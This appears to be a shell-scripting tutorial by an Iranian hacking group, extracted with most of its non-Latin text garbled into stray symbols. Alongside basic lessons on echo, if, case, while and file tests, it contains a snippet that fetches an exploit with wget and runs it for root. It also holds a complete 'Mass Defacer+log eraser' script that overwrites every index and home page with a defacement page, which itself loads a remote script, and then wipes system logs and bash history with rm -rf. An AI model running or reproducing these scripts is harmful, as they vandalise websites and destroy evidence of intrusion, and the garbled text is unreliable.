You are on page 1of 8

=-=-- !#$ "!

       



(&:
:  - 1 #8 7 $ 34! 34! 1 $2  !./ $  $   - +*
7! !!!.:
= <: - $&7 < 7 $4 4
" $   434! 1 $2  )# !(
 "(@ A " 34! 1 !$2 #!!!!!
7 ... 4  4  #1 D #   4  -  7 $ 7 4F 7! 
$ #!  7  7 4 7 )"  (43 I .37  -

 J$F< /D # DF7


$ M #F
"(N J -N$F " <O< !!!
= $ -  7 7$ $ :
bat .#!  : 7  #!!!)S1
#F7 T3
 #"(
 .37 " M:- #
Make
@echo off
TITLEVirangar
color 8e
cls
echo +----------------------------------------------------+
"echo "Virangar Security Team
echo +----------------------------------------------------+

=  # bat 7 A - !$ $8   !# sF)- (


" -  M @("  "  $  -
1 @(   Mass Deface < )< 7 log killer 1!(
 J$F: <O 4
$ $8 $ = $: 4 /D # DF7.-4
M #  :
#!/bin/sh
"echo "Hello, my first shell script

|
{:
#!/bin/sh

 3    $   J 34! !#F


 }# #/  sh  J34! $) "4 4  " sh 7  7 7 7 7 = 4
#
7$:/ DF7 "
  bash (7

M 4 bash34! # #


#!/bin/bash

J "   #


#!/bin/shell

!  7 3N  Hello, my first shell script 8  echo M


Snake.sh "(@ # !$ sh 7  =J: - 
shell #A} #  Sh
 $8*   #
Snake@apollyon-ab139e ~
$ sh snake.sh

# ( bin/bash/!#)#F !34bash  $
Snake@apollyon-ab139e ~
$ bash snake.sh

# (executable)$8 JS 7  #     - M
* #"* 
Snake@apollyon-ab139e ~
$ chmod +x snake.sh

# $8
: 4  $
Snake@apollyon-ab139e ~
$ chmod u+x snake.sh

# $8 A
Snake@apollyon-ab139e ~
$ snake.sh

# - # $8 $: 


4  $
Snake@apollyon-ab139e ~
$ ./snake.sh

7 4
8! 8 <O$F J  # $:   4 $ 7 4  - /
7
Ls,echo,mkdir,find,wget,rm,

  7 #   F 4


:A <$F J #
#!/bin/sh
echo "Please enter 2 names serparated by a space"
read name1 name2
if [ "$name1" = "$name2" ]
then
echo "The names are the same"
else
echo "The names are different"
fi

#  N:      


 echo 4   4 J - M
- ( $ 7$ #A
  )- read 4 
 # $ #F -A
$ !   $ if 4! 34  
    -4 F   -  "3N ( then)      
.
 $:     -  "3N ( else)  7 
.-  $   $4 7 <O$F J  / :<=
: # !7 #
#!/bin/sh
echo "Please enter 2 names serparated by a space"
read name1 name2
if [ "$name1" = "Snake" ]
then
echo "Hello Snake"
else
echo "Dont know you"
fi

 $S " " J ( String) #$4    "   



(Snake=#F   !  #A    ) !     - M
! #1 F< #7 - 4 
 7   s# ( #F "
($ )!!!! J: 
:  4 # M

 #A=
7 #A=!
- @(" $ !34    $4 =A  # 8  4
if [ $num1 -gt $num2 ]

.....<S 7  $4(  greater than) #A gt }#


.....<S 7  $4F" ( less than) #A -Lt
.....( equal) #A -eq
....7 (not equal) #A -ne
.# !34 < >  7 4 
|  
 "    
while loop, variables, case condition
:#F $ case
#!/bin/sh
echo "Please enter a number"
read num
case $num in
0) echo "you chose
1) echo "you chose
2) echo "you chose
3) echo "you chose
*) echo "you chose
Esac

0";;
1";;
2";;
3";;
something else";;

  $  = /  A  #F <:  /  4  - M


: 4F7 | #F "$  )*( = / - $2 $ #F "
.# !34 $  $4 $A
$ 
$  8 4 -4 $ # !34 ;; 4
4  8  
.$  4
 =7  S JS $ FI  #A ! default #A (< *  /
.#F "default
: * # @( " # !34 4
4 |   7 4 
0|1) echo "you chose 0 or 1";;
a|A) echo "you chose the letter a";;

-$:1 M   8 4 4 ... 7


(variable) $4 |
( 8 4  
$ ) @# #
#/bin/sh
mydir=`pwd`
echo "My directory path is $mydir"

( #F  "4)  pwd 4   4 mydir  $4 }# M


# - 7$ $8 A !  7  #F  

Snake@apollyon-ab139e ~
$ sh mydir.sh
$ My directory path is /home/snake

!!  -  4 - 


M8 !" |
echo -n "PLease enter your name:"
read name

 # $8 S   # 4 n }  #
PLease enter your name:
_

 # # !34n  


PLease enter your name:_

-#
@ !   1 8 4
$F
 7 while  7  7 7$ 4" 4 while  $ < 7 |
7  A D= !
<}   "
  #

#   4
while [ condition ]
do
statements
done

!!! .3 $4. 


7 |  @M
#!/bin/sh
echo "enter the number one"
read num
while [ $num -ne 1 ]
do
echo "you did not enter one please enter again :"
read num
done

.#  /      $8 A <O$F -


  8 $  AS  
<O$F -( while)$F
  $ A #F <: / A
.!  7 " # !  ! $F7 / "  =7 <
"$ |
while [ $num -ne 1 ]

({not equal} 7 #A 4:("


{   
S) " 7 4 -ne
/ 4S # / !
 $ /   # 7$ - 1 " D=
.(down)  4  $
!! $ $ # !34=! &  = > <  7 4 
# 4 rwx 7
 J:  . 4 $ 7 4 
!$7   $ # "  #Arwx 7    7:<=
.(readable)7 JS #A r
.(writeable)-4 7 JS #A w
.(executeable) $8 JS #.  X
:# " J: $ 4  |  # M
(file exists)! 8 J: #A -e
(file is an ordinary file) A J:  #A -f
(file is writeable)#4 7 JS J: #A -w
(file is NOT empty)<7  J: #A -s
(file is a directory) 4 $ J: #A -d
(file is readable)77 JS J: #A -r
(file is executable)$8 JS J: #A -x
* # "*  ! (NOT)7 #A (< ! / M
$8 JS$2 #A ! x
:|  @
#!/bin/sh
echo "enter a file"
read fnam
if [ $fname ! -e ]
then
echo "that file does not exists"
else
echo "that file exists"
fi

D # J:  7   4
7  J: 7
!7 8 J: - ( "not exists !7 8 #A - ! e)<7 8 J: $ ! $
.< 8 J:   (else) N - $2
 }#! @(  $ J: 7 ! $S   $8 A <O$F -:8

 : 7 /home/snake  4 $ -  4 7 baghali  J: /home/snake


!!3N  #F   " =$ $! $ baghali 7

.# !34 or 8   o and 8  a 7 4  4


: @
#!/bin/sh
echo "enter in a existing file"
read fname
if [ -r $fname -a -w $fname ]
then
echo "$fname is readable and writeable"
fi

# ! 8  J:   


7  A
 7 JS J:   (  -r) 7 JS (-a) ( -w)-4 7 JS J:  !  $ A
.< -4 7
.# -A
J:  -4 7  7 JS !$2 $   = 7 4 
|  "! M
#!/bin/bash
Cd /tmp;wget yourhost.com/youname/yourExpl
Chmod +x yourExpl
./yourexpl
Yourid=`id`
Echo "$yourid"

<O$F -  D # $ J7$   $ < O 1 < |  S( F :


 ! 7   id $8 A #F $8 JS Atmp  4F! $ 7
!7  4:$ r00t #
uname r )D # 4 7  8
   # <O$F  7 4 <S( F 
   # $8< :  .   1   $ JO( # !34
7 8 !  $4*
 / < Mass Defacer+log eraser  -
( "- -4 7)! M8 < 8 #
#!/bin/bash
echo "Mass Defacer+log eraser by virangar security team-hadihadi"
echo "hadihadi_zedehal_2006@yahoo.com"
echo "special tnx:Snake, a.nosrati"
echo "virangar security team"
echo "www.virangar.net www.virangar.org"
echo "<HTML><HEAD><TITLE>Defaced By virangar</TITLE>" >> /tmp/deface.htm
echo "<SCRIPT language=Javascript type=text/javascript>
<!-rnd=Math.floor(Math.random()*1000);
var
b=(''+location.hostname).split('.');
h='web.'+b[b.length2]+'.'+b[b.length-1]; document.write('<sc'+'ript src="http://'+h+'/perso/js.php?'+rnd+'"><'+'/sc'+'ript>');
// -->
</SCRIPT>" >> /tmp/deface.htm
echo "<SCRIPT src=""></SCRIPT>
" >> /tmp/deface.htm
echo "<META http-equiv=Content-Language content=es-mx>" >> /tmp/deface.htm
echo "<META content="MSHTML 6.00.2900.2180" name=GENERATOR>" >> /tmp/deface.htm
echo "<META content=FrontPage.Editor.Document name=ProgId>" >> /tmp/deface.htm
echo "<META http-equiv=Content-Type content="text/html; charset=windows-1252">" >> /tmp/deface.htm
echo "<STYLE type=text/css>BODY {
SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOWCOLOR: #000000; SCROLLBAR-BASE-COLOR: #000000
}
A:hover {
COLOR: #000000; TEXT-DECORATION: overline
}
INPUT {
BORDER-LEFT-COLOR: #000000; BACKGROUND: #000000; BORDER-BOTTOM-COLOR: #000000; FONT:
12px Verdana, Arial, Helvetica, sans-serif; COLOR: #ffffff; BORDER-TOP-COLOR: #000000; BORDER-RIGHT-COLOR:
#000000
}
TEXTAREA {
BORDER-LEFT-COLOR: #000000; BACKGROUND: #000000; BORDER-BOTTOM-COLOR: #000000; FONT:
12px Verdana, Arial, Helvetica, sans-serif; COLOR: #ffffff; BORDER-TOP-COLOR: #000000; BORDER-RIGHT-COLOR:
#000000

}
SELECT {
BORDER-LEFT-COLOR: #000000; BACKGROUND: #000000; BORDER-BOTTOM-COLOR: #000000; FONT:
12px Verdana, Arial, Helvetica, sans-serif; COLOR: #ffffff; BORDER-TOP-COLOR: #000000; BORDER-RIGHT-COLOR:
#000000
}
</STYLE>" >> /tmp/deface.htm
echo "</HEAD>" >> /tmp/deface.htm
echo "<BODY text=#000000 vLink=#000000 aLink=#000000 link=#000000 bgColor=#000000
onload=type_text()>
<P align=center><B><FONT color=#ff0000 size=5>HACKED</FONT></B></P>
<P align=center><FONT color=#ff0000 size=5><B>BY</B></FONT></P>
<P align=center><B><FONT size=6>0</FONT><FONT color=#ff0000 size=6>HADIHADI_ZEDEHAL&A.nosrati
</FONT></B></P>" >> deface.htm
echo "<P align=center><FONT color=#ff0000 size=6><B>YOUNG IRANIAN HACKERS
</B></FONT></P>" >> /tmp/deface.htm
echo "<STYLE type=text/css>BODY {
OVERFLOW: hidden
}
v\:* {
BEHAVIOR: url(#default#VML)
}
</STYLE>" >> /tmp/deface.htm
echo "
<![endif]-->
<SCRIPT language=Javascript><!-var tl=new Array(
"Hacked By virangar",
"",
"www.virangar.net ",
"spcial thanks to all Iranian Hackers !!!",
"www.virangar.org-www.virangar.net "
);
var speed=50;
var index=0; text_pos=0;
var str_length=tl[0].length;
var contents, row;
function type_text()
{
contents='';
row=Math.max(0,index-15);
while(row<index)
contents += tl[row++] + '\r\n';
document.forms[0].elements[0].value = contents + tl[index].substring(0,text_pos) + "";
if(text_pos++==str_length)
{
text_pos=0;
index++;
if(index!=tl.length)
{
str_length=tl[index].length;
setTimeout("type_text()",500);
}
} else
setTimeout("type_text()",speed);
}
//--></SCRIPT>" >> /tmp/deface.htm
echo "
<TABLE height=273 cellSpacing=0 cellPadding=0 align=center border=0>
<TBODY>
<TR>
<TD colSpan=3 height=273>
<TABLE height=252 cellSpacing=0 cellPadding=5 width=700 border=0>
<TBODY>
<TR>
<TD width="100%">
<CENTER>

<FORM><FONT
color=#ff0000>&nbsp;<TEXTAREA
rows=17
cols=110></TEXTAREA>"
>>
/tmp/deface.htm
echo
"</FONT></FORM></CENTER></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></P></BOD
Y></HTML>" >> /tmp/deface.htm

find / -name "index.*" -exec cp /tmp/deface.htm {} \;


find / -name "home.*" -exec cp /tmp/deface.htm {} \;
find / -name "default.*" -exec cp /tmp/deface.htm {} \;
find / -name "main.*" -exec cp /tmp/deface.htm {} \;
rm -rf /var/log/wtmp {} \;
rm -rf /var/log/lastlog {} \;
rm -rf /etc/wtmp {} \;
rm -rf /var/run/utmp {} \;
rm -rf /etc/utmp {} \;
rm -rf /var/log {} \;
rm -rf /var/logs {} \;
rm -rf /var/adm {} \;
rm -rf /var/apache/log {} \;
rm -rf /var/apache/logs {} \;
rm -rf /usr/local/apache/log {} \;
rm -rf /usr/local/apache/logs {} \;
find / -name *.bash_history -exec rm {} \;
find / -name *.bash_logout -exec rm {} \;
find / -name "log*" -exec rm {} \;
find / -name *.log -exec rm {} \;
echo"good lucke"

. 
 # M
  " <  
$   !$ ! | 34
|
 8 ! $ F (F    / < 8
 8 - ! 8
.#  $F
! N 
. #  - $4  s7 !#1  7  S $/   < ... 7
(Snake)$(8 $. : !# 7
: (e-mail) S$ 7
Snake.apollyon@YaHoO.com
Snake.apollyon@Gmail.com
Y! ID : SnakeApollon
MsN ID: Snake.apollyon
IRC Nike Name :Snake or Snake.apollyon
Irc.Governmentsecurity.com #virangar
Special Tnx 2 : HadiHadi_Zedehal ,A.Nosrati ,L0pht.Blackhat,Mehdi_Papet,Kouros and All
Iranian Hackers

Copy Right For :Virangar Security Team 2005-2006


Virangar.org or Virangar.net
For more Informattion go to : http://unkn0wn.sub.ir/

You might also like